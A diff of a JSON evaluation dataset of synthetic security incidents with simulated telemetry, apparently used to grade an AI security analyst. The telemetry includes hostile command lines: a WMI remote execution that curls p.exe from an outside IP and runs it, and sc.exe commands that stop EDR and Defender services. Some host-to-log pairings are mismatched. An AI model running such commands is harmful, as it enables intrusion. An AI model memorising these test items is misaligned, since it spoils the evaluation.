+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-021",
- "title": "LSASS memory dump on WIN-DC-PRIMARY by [email protected]",
- "description": "comsvcs.dll MiniDump observed on WIN-DC-PRIMARY. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "template_id": "lsass-memory-dump",
+ "template_index": 20,
+ "title": "LSASS memory dump on AZURE-VM-FIN-001 by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on AZURE-VM-FIN-001. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
"expected_tactics": [
"TA0006"
],
@@ -464,14 +1003,40 @@
"minidump",
"comsvcs",
"mimikatz",
- "WIN-DC-PRIMARY",
+ "AZURE-VM-FIN-001",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "AZURE-VM-FIN-001",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "AZURE-VM-FIN-001",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-022",
- "title": "Brute-force credential spray against [email protected] from 45.142.122.111",
- "description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "template_id": "credential-spray",
+ "template_index": 21,
+ "title": "Brute-force credential spray against [email protected] from 45.142.122.111",
+ "description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
"expected_tactics": [
"TA0006"
],
@@ -483,15 +1048,39 @@
"evidence_keywords": [
"brute force",
"credential spray",
"45.142.122.111",
"azure ad"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-023",
- "title": "Kerberoasting from WIN-FIN-DB01",
- "description": "Service account TGS tickets requested en-masse from WIN-FIN-DB01 by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "template_id": "kerberoasting",
+ "template_index": 22,
+ "title": "Kerberoasting from MAC-CFO-LAPTOP",
+ "description": "Service account TGS tickets requested en-masse from MAC-CFO-LAPTOP by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
"expected_tactics": [
"TA0006",
"TA0008"
@@ -507,14 +1096,40 @@
"TGS",
"RC4",
"mimikatz",
- "WIN-FIN-DB01",
+ "MAC-CFO-LAPTOP",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "MAC-CFO-LAPTOP"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.aisoc.dev",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "MAC-CFO-LAPTOP"
+ }
]
},
{
"id": "INC-EVAL-024",
- "title": "Active Directory DCSync from non-DC host K8S-PROD-CLUSTER",
- "description": "Replication rights abused from K8S-PROD-CLUSTER by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "template_id": "ad-dcsync",
+ "template_index": 23,
+ "title": "Active Directory DCSync from non-DC host AWS-EC2-PROD-API",
+ "description": "Replication rights abused from AWS-EC2-PROD-API by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
"expected_tactics": [
"TA0006",
"TA0004"
@@ -529,14 +1144,30 @@
"dcsync",
"replication",
"ntlm hash",
- "K8S-PROD-CLUSTER",
+ "AWS-EC2-PROD-API",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "AWS-EC2-PROD-API"
+ }
]
},
{
"id": "INC-EVAL-025",
- "title": "SAML golden-ticket: forged assertion targeting [email protected]",
- "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 91.134.231.15.",
+ "template_id": "saml-golden-ticket",
+ "template_index": 24,
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 198.51.100.23.",
"expected_tactics": [
"TA0006",
"TA0007"
@@ -552,14 +1183,45 @@
"golden ticket",
"forged",
"azure ad",
- "91.134.231.15"
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.aisoc.dev"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-026",
- "title": "Domain enumeration from LIN-BUILD-CI03",
- "description": "ldap discovery from LIN-BUILD-CI03 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "template_id": "ldap-bloodhound-discovery",
+ "template_index": 25,
+ "title": "Domain enumeration from LIN-K8S-NODE01",
+ "description": "ldap discovery from LIN-K8S-NODE01 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
"expected_tactics": [
"TA0007"
],
@@ -572,14 +1234,40 @@
"ldap",
"bloodhound",
"domain enumeration",
- "LIN-BUILD-CI03",
+ "LIN-K8S-NODE01",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-K8S-NODE01",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
]
},
{
"id": "INC-EVAL-027",
- "title": "Network share enumeration on AWS-EC2-PROD-API",
- "description": "Mass SMB share enumeration from AWS-EC2-PROD-API by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "template_id": "smb-share-enumeration",
+ "template_index": 26,
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "description": "Mass SMB share enumeration from LIN-EDGE-VPN02 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
"expected_tactics": [
"TA0007"
],
@@ -593,14 +1281,39 @@
"net.exe",
"Get-SmbShare",
"share enumeration",
- "AWS-EC2-PROD-API",
+ "LIN-EDGE-VPN02",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-EDGE-VPN02",
+ "EventCount": 256
+ }
]
},
{
"id": "INC-EVAL-028",
- "title": "Pass-the-hash from WIN-DC-PRIMARY to K8S-PROD-CLUSTER",
- "description": "Pass-the-hash lateral movement from WIN-DC-PRIMARY to K8S-PROD-CLUSTER by [email protected]. Golden ticket indicators present. Linked to APT29.",
+ "template_id": "pass-the-hash-lateral",
+ "template_index": 27,
+ "title": "Pass-the-hash from AZURE-VM-FIN-001 to LIN-EDGE-VPN02",
+ "description": "Pass-the-hash lateral movement from AZURE-VM-FIN-001 to LIN-EDGE-VPN02 by [email protected]. Golden ticket indicators present. Linked to APT28.",
"expected_tactics": [
"TA0008",
"TA0006"
@@ -614,16 +1327,41 @@
"evidence_keywords": [
"pass-the-hash",
"golden ticket",
- "WIN-DC-PRIMARY",
- "K8S-PROD-CLUSTER",
- "APT29"
+ "AZURE-VM-FIN-001",
+ "LIN-EDGE-VPN02",
+ "APT28"
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "LIN-EDGE-VPN02",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "AZURE-VM-FIN-001",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "LIN-EDGE-VPN02",
+ "Source": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "threat_actor": "APT28"
+ }
]
},
{
"id": "INC-EVAL-029",
- "title": "RDP lateral movement from K8S-PROD-CLUSTER",
- "description": "Anomalous RDP session from K8S-PROD-CLUSTER ([email protected]) to GCP-GKE-NODE-04 outside business hours. Source admin not normal for GCP-GKE-NODE-04.",
+ "template_id": "rdp-lateral-movement",
+ "template_index": 28,
+ "title": "RDP lateral movement from LIN-BUILD-CI03",
+ "description": "Anomalous RDP session from LIN-BUILD-CI03 ([email protected]) to AZURE-VM-FIN-001 outside business hours. Source admin not normal for AZURE-VM-FIN-001.",
"expected_tactics": [
"TA0008"
],
@@ -636,15 +1374,31 @@
"rdp",
"lateral movement",
"outside hours",
- "K8S-PROD-CLUSTER",
- "GCP-GKE-NODE-04",
+ "LIN-BUILD-CI03",
+ "AZURE-VM-FIN-001",
+ ],
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AZURE-VM-FIN-001",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "LIN-BUILD-CI03",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
]
},
{
"id": "INC-EVAL-030",
- "title": "WMI lateral execution from AWS-EC2-PROD-API to WIN-DC-PRIMARY",
- "description": "wmic.exe /node:WIN-DC-PRIMARY process call create observed from AWS-EC2-PROD-API by [email protected]. Remote command execution; payload from 198.51.100.23.",
+ "template_id": "wmi-lateral-execution",
+ "template_index": 29,
+ "title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",
+ "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15.",
"expected_tactics": [
"TA0008",
"TA0002"
@@ -657,16 +1411,30 @@
"evidence_keywords": [
"wmic",
"lateral",
+ "WIN-PROD-WEB02",
"AWS-EC2-PROD-API",
- "WIN-DC-PRIMARY",
- "198.51.100.23"
+ "91.134.231.15"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
]
},
{
"id": "INC-EVAL-031",
- "title": "Bulk PII download by [email protected]",
- "description": "[email protected] downloaded >10 GB of customer records from production database from AZURE-VM-FIN-001. Outside normal access pattern.",
+ "template_id": "bulk-pii-download",
+ "template_index": 30,
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from LIN-DB-REPLICA. Outside normal access pattern.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -681,14 +1449,28 @@
"bulk download",
"pii",
"customer record",
- "AZURE-VM-FIN-001",
+ "LIN-DB-REPLICA",
+ ],
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "LIN-DB-REPLICA",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
]
},
{
"id": "INC-EVAL-032",
- "title": "Clipboard logging implant on WIN-DC-PRIMARY",
- "description": "Clipboard contents from WIN-DC-PRIMARY ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "template_id": "clipboard-keylogger",
+ "template_index": 31,
+ "title": "Clipboard logging implant on WIN-DC-SECONDARY",
+ "description": "Clipboard contents from WIN-DC-SECONDARY ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
"expected_tactics": [
"TA0009"
],
@@ -701,14 +1483,38 @@
"clipboard",
"keylog",
"credentials",
- "WIN-DC-PRIMARY",
+ "WIN-DC-SECONDARY",
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-DC-SECONDARY",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
]
},
{
"id": "INC-EVAL-033",
- "title": "DNS tunnelling exfiltration from LIN-DB-REPLICA",
- "description": "DNS query volume from LIN-DB-REPLICA 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 198.51.100.23.",
+ "template_id": "dns-tunnel-exfil",
+ "template_index": 32,
+ "title": "DNS tunnelling exfiltration from MAC-LEGAL-LAPTOP",
+ "description": "DNS query volume from MAC-LEGAL-LAPTOP 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 172.16.50.7.",
"expected_tactics": [
"TA0011",
"TA0010"
@@ -724,14 +1530,27 @@
"txt records",
"base64",
"exfiltrat",
- "LIN-DB-REPLICA",
- "198.51.100.23"
+ "MAC-LEGAL-LAPTOP",
+ "172.16.50.7"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.172.16.50.7.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "MAC-LEGAL-LAPTOP",
+ "dst_ip": "172.16.50.7",
+ "response_size": 512,
+ "qps": 240
+ }
]
},
{
"id": "INC-EVAL-034",
- "title": "Cloud storage exfil: data egress to attacker-controlled S3 from LIN-OBS-LOGGER",
- "description": "Egress from LIN-OBS-LOGGER to s3://atk-stage-192.168.1.100/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "template_id": "s3-exfil-cloud-storage",
+ "template_index": 33,
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",
+ "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-91.134.231.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
"expected_tactics": [
"TA0010"
],
@@ -745,15 +1564,39 @@
"cloud storage",
"egress",
"exfiltrat",
- "LIN-OBS-LOGGER",
- "192.168.1.100",
+ "WIN-DC-PRIMARY",
+ "91.134.231.15",
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-DC-PRIMARY",
+ "requestParameters": {
+ "bucketName": "atk-stage-91.134.231.15",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"
+ }
+ ]
+ }
]
},
{
"id": "INC-EVAL-035",
- "title": "Personal Drive exfil by [email protected]",
- "description": "[email protected] on LIN-K8S-NODE01 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "template_id": "personal-drive-exfil",
+ "template_index": 34,
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on LIN-K8S-NODE01 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -771,13 +1614,27 @@
"source code",
"pii",
"LIN-K8S-NODE01",
+ ],
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "LIN-K8S-NODE01",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
]
},
{
"id": "INC-EVAL-036",
- "title": "DGA-based C2 traffic from AZURE-VM-FIN-001",
- "description": "DGA traffic from AZURE-VM-FIN-001 observed; 200+ NXDomain replies/min, IoCs match APT29 epoch 5. Beacons to 45.142.122.111.",
+ "template_id": "dga-c2",
+ "template_index": 35,
+ "title": "DGA-based C2 traffic from MAC-LEGAL-LAPTOP",
+ "description": "DGA traffic from MAC-LEGAL-LAPTOP observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 172.16.50.7.",
"expected_tactics": [
"TA0011"
],
@@ -791,15 +1648,39 @@
"domain generation",
"nxdomain",
"beacon",
- "AZURE-VM-FIN-001",
- "45.142.122.111",
- "APT29"
+ "MAC-LEGAL-LAPTOP",
+ "172.16.50.7",
+ "Scattered Spider"
+ ],
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "MAC-LEGAL-LAPTOP",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "172.16.50.7",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Scattered Spider"
+ }
]
},
{
"id": "INC-EVAL-037",
- "title": "HTTPS C2 beacon from GCP-GKE-NODE-04 to 10.0.99.42",
- "description": "Periodic HTTPS beacon from GCP-GKE-NODE-04 to 10.0.99.42 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "template_id": "https-c2-beacon",
+ "template_index": 36,
+ "title": "HTTPS C2 beacon from LIN-DB-REPLICA to 198.51.100.23",
+ "description": "Periodic HTTPS beacon from LIN-DB-REPLICA to 198.51.100.23 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
"expected_tactics": [
"TA0011"
],
@@ -813,14 +1694,31 @@
"beacon",
"ja3",
"Cobalt Strike",
- "GCP-GKE-NODE-04",
- "10.0.99.42"
+ "LIN-DB-REPLICA",
+ "198.51.100.23"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-DB-REPLICA",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
]
},
{
"id": "INC-EVAL-038",
- "title": "Ransomware encryption in progress on WIN-DC-SECONDARY",
- "description": "Mass file rename observed on WIN-DC-SECONDARY ([email protected]); ..enc extension applied to ~20 k files. Ransomware note R3ADM3-Lazarus.txt found.",
+ "template_id": "ransomware-encryption",
+ "template_index": 37,
+ "title": "Ransomware encryption in progress on GCP-GKE-NODE-04",
+ "description": "Mass file rename observed on GCP-GKE-NODE-04 ([email protected]); ..enc extension applied to ~20 k files. Ransomware note R3ADM3-LockBit 3.0.txt found.",
"expected_tactics": [
"TA0040"
],
@@ -834,15 +1732,47 @@
"encrypt",
"rename",
"ransom note",
- "WIN-DC-SECONDARY",
- "Lazarus"
+ "GCP-GKE-NODE-04",
+ "LockBit 3.0"
+ ],
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Documents\\notes.docx.enc",
+ "User": "[email protected]",
+ "rename_rate_per_min": 4200
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "GCP-GKE-NODE-04",
+ "Image": "C:\\ProgramData\\enc.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\Desktop\\R3ADM3-LockBit 3.0.txt",
+ "User": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "Ransomware behaviour: high-rate file rename + ransom note",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "threat_actor": "LockBit 3.0"
+ }
]
},
{
"id": "INC-EVAL-039",
- "title": "Cryptominer execution on WIN-PROD-WEB02",
- "description": "XMRig miner spawned on WIN-PROD-WEB02; CPU saturated to 95%. Mining pool 10.0.99.42:5555. Linked to Emotet epoch 5.",
+ "template_id": "xmrig-cryptominer",
+ "template_index": 38,
+ "title": "Cryptominer execution on WIN-DC-SECONDARY",
+ "description": "XMRig miner spawned on WIN-DC-SECONDARY; CPU saturated to 95%. Mining pool 172.16.50.7:5555. Linked to LockBit 3.0.",
"expected_tactics": [
"TA0002",
"TA0040"
@@ -856,15 +1786,30 @@
"xmrig",
"miner",
"cryptomine",
- "WIN-PROD-WEB02",
- "10.0.99.42",
- "Emotet epoch 5"
+ "WIN-DC-SECONDARY",
+ "172.16.50.7",
+ "LockBit 3.0"
+ ],
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/xmrig",
+ "a0": "xmrig",
+ "a1": "-o",
+ "a2": "172.16.50.7:5555",
+ "hostname": "WIN-DC-SECONDARY",
+ "cpu_pct": 95
+ }
]
},
{
"id": "INC-EVAL-040",
- "title": "BEC: payment redirect by [email protected]",
- "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from WIN-DC-SECONDARY to threat-actor account. Linked to MagicWeb.",
+ "template_id": "bec-wire-fraud",
+ "template_index": 39,
+ "title": "BEC: payment redirect by [email protected]",
+ "description": "Spear-phishing email spoofed CFO. Wire transfer of $250 k initiated by [email protected] from AWS-EC2-PROD-API to threat-actor account. Linked to ALPHV/BlackCat.",
"expected_tactics": [
"TA0001",
"TA0040"
@@ -880,15 +1825,30 @@
"spoofed cfo",
"wire transfer",
"$250",
- "WIN-DC-SECONDARY",
- "MagicWeb"
+ "AWS-EC2-PROD-API",
+ "ALPHV/BlackCat"
+ ],
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "AWS-EC2-PROD-API",
+ "Subject": "URGENT: Wire instructions from CFO",
+ "From": "[email protected]",
+ "ReplyTo": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
]
},
{
"id": "INC-EVAL-041",
+ "template_id": "public-s3-bucket-pii",
+ "template_index": 40,
"title": "Public S3 bucket exposing PII",
- "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 185.220.101.7.",
+ "description": "S3 bucket world-readable; ~40k employee records accessible. CloudTrail shows external enumeration from 203.0.113.45.",
"expected_tactics": [
"TA0009",
"TA0010"
@@ -904,13 +1864,52 @@
"public bucket",
"pii",
"cloudtrail",
- "185.220.101.7"
+ "203.0.113.45"
+ ],
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutBucketAcl",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "AccessControlPolicy": {
+ "Grants": [
+ {
+ "Grantee": "AllUsers",
+ "Permission": "READ"
+ }
+ ]
+ }
+ }
+ },
+ {
+ "source": "cloudtrail",
+ "eventName": "ListObjectsV2",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "sourceIPAddress": "203.0.113.45",
+ "requestParameters": {
+ "bucketName": "aisoc-employees",
+ "max-keys": 1000
+ },
+ "userIdentity": {
+ "type": "AnonymousUser"
+ }
+ }
]
},
{
"id": "INC-EVAL-042",
- "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
- "description": "Successful Azure AD sign-in for [email protected] from 91.134.231.15 (impossible-travel from prior location). MFA satisfied via stolen session token.",
+ "template_id": "azure-ad-impossible-travel",
+ "template_index": 41,
+ "title": "Identity provider compromise \u2014 anomalous Azure AD sign-in for [email protected]",
+ "description": "Successful Azure AD sign-in for [email protected] from 45.142.122.111 (impossible-travel from prior location). MFA satisfied via stolen session token.",
"expected_tactics": [
"TA0001",
"TA0006"
@@ -926,14 +1925,40 @@
"impossible travel",
"session token",
"mfa",
- "91.134.231.15"
+ "45.142.122.111"
+ ],
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "location": {
+ "city": "Vladivostok",
+ "countryOrRegion": "RU"
+ },
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Previously satisfied",
+ "succeeded": true
+ }
+ ],
+ "riskEventTypes": [
+ "unfamiliarFeatures",
+ "unlikelyTravel"
+ ],
+ "riskLevelAggregated": "high"
+ }
]
},
{
"id": "INC-EVAL-043",
- "title": "DDoS volumetric flood targeting public-facing LIN-K8S-NODE01",
- "description": "L4 SYN flood from a botnet (>1M PPS) targeting LIN-K8S-NODE01. Edge mitigation engaged but service degraded for 12 minutes.",
+ "template_id": "ddos-syn-flood",
+ "template_index": 42,
+ "title": "DDoS volumetric flood targeting public-facing WIN-DEVOPS-LT",
+ "description": "L4 SYN flood from a botnet (>1M PPS) targeting WIN-DEVOPS-LT. Edge mitigation engaged but service degraded for 12 minutes.",
"expected_tactics": [
"TA0040"
],
@@ -946,14 +1971,28 @@
"ddos",
"syn flood",
"botnet",
- "LIN-K8S-NODE01",
